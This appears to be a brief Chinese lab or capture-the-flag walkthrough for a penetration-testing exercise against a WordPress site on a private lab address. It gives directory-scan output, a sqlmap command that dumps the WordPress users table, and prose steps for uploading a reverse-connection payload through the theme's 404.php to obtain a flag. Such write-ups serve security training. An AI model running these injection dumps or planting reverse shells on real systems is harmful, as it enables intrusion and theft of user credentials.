磐云P10 P057-综合渗透测试-使用反弹木马进行提权获取主机Shell

发现没有什么可以利用的服务，但是开了80、443，确定是一个网页，访问8080端口发现是一个WordPress构建的博客

+ /login.php: Admin login page/section found.
+ /phpmyadmin/: phpMyAdmin directory found.

扫目录发现了两个登录页面，其中有WordPress的登录后台，用SQLmap爆

sqlmap -u http://172.16.1.107/login.php --batch --forms --level 5 -D 'wordpress8080' -T 'users' --dump

上传反向连接的载荷

注意上传的时候把脚本前的/*删除，访问404.php

拿到flag